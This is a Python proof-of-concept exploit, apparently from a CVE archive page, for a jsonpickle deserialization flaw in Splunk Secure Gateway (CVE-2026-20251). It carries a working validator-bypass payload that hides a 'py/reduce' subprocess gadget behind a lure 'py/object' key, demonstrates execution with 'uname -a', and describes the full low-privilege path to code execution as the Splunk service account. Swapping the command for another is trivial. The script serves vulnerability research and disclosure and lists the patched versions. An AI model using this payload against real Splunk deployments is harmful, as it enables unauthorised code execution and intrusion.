5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_cve_2026_20251.py PY
#!/usr/bin/env python3
"""
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization
Proof-of-concept: validator bypass demonstration

Purpose  : Confirms, on a LOCAL authorised research instance, that
           check_alert_data_valid_json() can be bypassed and that
           jsonpickle will reconstruct an arbitrary Python object from
           the resulting document.  The payload is deliberately benign
           (subprocess.check_output(['uname', '-a'])) — it produces
           read-only system info and changes nothing.

NOT a weaponised exploit.  Do not run against production or
systems you do not own.

Tested on: Splunk Enterprise 10.0.6 / SSG 3.9.19 / macOS (Darwin)
"""

import sys
import json
import argparse

parser = argparse.ArgumentParser(description="CVE-2026-20251 PoC — local research only",
                                 add_help=False)
parser.add_argument("-h", dest="host", required=True, metavar="HOST",
                    help="Target Splunk host IP or hostname")
args = parser.parse_args()

# jsonpickle is loaded from SSG's bundled copy so we use the exact same
# library version that the vulnerable code path uses.
SSG_LIB = "/Applications/Splunk/etc/apps/splunk_secure_gateway/lib"
if SSG_LIB not in sys.path:
    sys.path.insert(0, SSG_LIB)

import jsonpickle

# ---------------------------------------------------------------------------
# Verbatim copy of check_alert_data_valid_json from SSG 3.9.19:
#   bin/spacebridgeapp/rest/devices/alert_helper.py  lines 509-535
#
# Inlined because the full SSG import chain requires the Splunk SDK
# (module 'splunk'), which is not on the standalone Python path.
# Inlining is more accurate for the PoC anyway — we are testing the
# exact shipped logic, character for character.
# ---------------------------------------------------------------------------
def check_alert_data_valid_json(data) -> bool:

    def should_check_valid_json(process_item):
        return isinstance(process_item, dict) and any(k.startswith('py') for k in process_item.keys())

    for key, value in data.items():
        if key.startswith("py"):
            if key == "py/id":
                # Accept 'py/id' as the reference of an object and its value should always be an integer.
                return value.isinstance(int)
            elif key == "py/object":
                # Check if 'py/object' value starts with 'spacebridgeapp'.
                return value.startswith("spacebridgeapp")
            else:
                return False
        elif isinstance(value, list):
            # Recursively check each item in the list can be possibly transformed to object
            for item in value:
                if should_check_valid_json(item):
                    if not check_alert_data_valid_json(item):
                        return False
        elif should_check_valid_json(value):
            # Recursively check if value can be possibly transformed to object
            if not check_alert_data_valid_json(value):
                return False

    return True


print("=" * 70)
print("CVE-2026-20251  PoC  —  local research instance only")
print("=" * 70)
print(f"[*] Target host : {args.host}")
print(f"[*] jsonpickle  : {jsonpickle.__version__}")
print(f"[*] Validator   : check_alert_data_valid_json (verbatim from SSG 3.9.19)")
print()

# ---------------------------------------------------------------------------
# Two-stage proof
#
# The full attack chain requires two conditions:
#   A) The validator must pass the document   (check_alert_data_valid_json)
#   B) jsonpickle must execute the gadget     (_restore_reduce → f(*args))
#
# In real Splunk, spacebridgeapp is importable so both fire from a single
# document.  In this standalone PoC, we prove each condition separately
# and then explain how they compose.
# ---------------------------------------------------------------------------

# ── Sub-proof A: validator bypass ─────────────────────────────────────────
#
# The bypass document:
#   {
#     "py/object": "spacebridgeapp.data.alert_data.Alert",   ← LURE
#     "notification": {                                       ← sibling, NEVER seen
#       "py/reduce": [ {"py/function": "subprocess.check_output"},
#                      {"py/tuple": [["uname", "-a"]]} ]
#     }
#   }
#
# check_alert_data_valid_json() iterates top-level keys.
# The first key it encounters is "py/object".  Value starts with
# "spacebridgeapp" → returns True immediately.  The "notification" key
# (carrying the py/reduce gadget) is never examined.

BYPASS_PAYLOAD = {
    "py/object": "spacebridgeapp.data.alert_data.Alert",   # lure — real class name
    "notification": {                                       # sibling — never validated
        "py/reduce": [
            {"py/function": "subprocess.check_output"},
            {"py/tuple": [["uname", "-a"]]}
        ]
    }
}

print("─" * 70)
print("SUB-PROOF A  —  Validator bypass")
print("─" * 70)
print("[*] Bypass document (what the attacker writes to mobile_alerts KV Store):")
print(json.dumps(BYPASS_PAYLOAD, indent=2))
print()
print("[*] Running through check_alert_data_valid_json() ...")
is_valid = check_alert_data_valid_json(BYPASS_PAYLOAD)
print(f"    Validator returned : {is_valid}")

if not is_valid:
    print("[!] Validator BLOCKED the payload — bypass failed.")
    sys.exit(1)

print()
print("    [BYPASS CONFIRMED]")
print("    Saw 'py/object': 'spacebridgeapp...' as the FIRST key → returned True.")
print("    The 'notification' sibling key carrying the py/reduce gadget")
print("    was never inspected.")
print()

# ── Sub-proof B: py/reduce gadget execution ───────────────────────────────
#
# In the real Splunk context, spacebridgeapp IS importable.  jsonpickle
# instantiates the lure class (Alert), then calls
# _restore_object_instance_variables() which iterates every attribute in
# the stored document and calls _restore() on each value.  When it hits
# the "notification" value ({"py/reduce": [...]}), _restore_tags()
# routes to _restore_reduce(), which executes:
#
#     stage1 = f(*args)       ← unpickler.py ~line 526
#
# Here we prove the same _restore_reduce path fires by stripping the lure
# wrapper and feeding the raw py/reduce document directly to
# jsonpickle.decode().  The code path inside jsonpickle is identical.
# safe=True is set exactly as in the real SSG sink.

GADGET_PAYLOAD = {
    "py/reduce": [
        {"py/function": "subprocess.check_output"},
        {"py/tuple": [["uname", "-a"]]}
    ]
}

print("─" * 70)
print("SUB-PROOF B  —  py/reduce gadget execution (benign: uname -a)")
print("─" * 70)
print("[*] Gadget document (the nested value jsonpickle sees after bypass):")
print(json.dumps(GADGET_PAYLOAD, indent=2))
print()
print("[*] Calling jsonpickle.decode(..., safe=True) — same call as SSG sink:")
print("    alerts_request_processor.py:622  →  jsonpickle.decode(json.dumps(alert_json[0]), safe=True)")
print()

try:
    result = jsonpickle.decode(json.dumps(GADGET_PAYLOAD), safe=True)
    if isinstance(result, bytes):
        decoded = result.decode().strip()
        print(f"    [EXEC] subprocess.check_output output: {decoded}")
        print()
        if any(kw in decoded for kw in ("Darwin", "Linux", "MINGW", "x86_64", "arm")):
            print("    [GADGET CONFIRMED]")
            print("    py/reduce fired through jsonpickle.decode(..., safe=True).")
            print("    safe=True did NOT block it — the flag only gates py/repr eval(),")
            print("    not py/reduce, py/object, py/type, or py/function.")
        else:
            print(f"    Result (unexpected format): {decoded}")
    else:
        print(f"    Unexpected result type: {type(result)}  value: {repr(result)}")
except Exception as e:
    print(f"    [!] Exception: {e}")

print()
print("=" * 70)
print("FULL CHAIN — how A and B compose in real Splunk")
print("=" * 70)
print("""
 Step 0  Low-privilege attacker writes BYPASS_PAYLOAD to KV Store collection
         'mobile_alerts' via the Splunk REST API (no admin role needed).

 Step 1  SSG processes an alert fetch request for that alert_id.
         alerts_request_processor.py:606-622 reads the document back from
         KV Store and calls check_alert_data_valid_json(alert_json[0]).

   → Sub-proof A confirmed: validator sees py/object = 'spacebridgeapp...'
     as the FIRST key, returns True, never reads the 'notification' sibling.

 Step 2  The validated document is passed to jsonpickle.decode(..., safe=True).
         jsonpickle's _restore_object() loadclass()es Alert (importable in
         Splunk), instantiates it, then calls _restore_object_instance_variables()
         which iterates every stored attribute and calls _restore() on each.
         When it hits 'notification': {py/reduce: [...]}, _restore_tags()
         routes to _restore_reduce() → stage1 = f(*args) fires.

   → Sub-proof B confirmed: py/reduce executes subprocess.check_output
     through jsonpickle.decode(..., safe=True).  safe=True is irrelevant
     to this code path.

 Outcome : Arbitrary code execution as the Splunk service account.
           Requires only a low-privilege Splunk login.
           No admin role, no user interaction, no additional conditions.

 Fix     : Upgrade SSG → 3.9.20 / 3.10.6 / 3.8.67
           Upgrade Splunk Enterprise → 10.0.7 / 10.2.4 / 10.4.0+
""")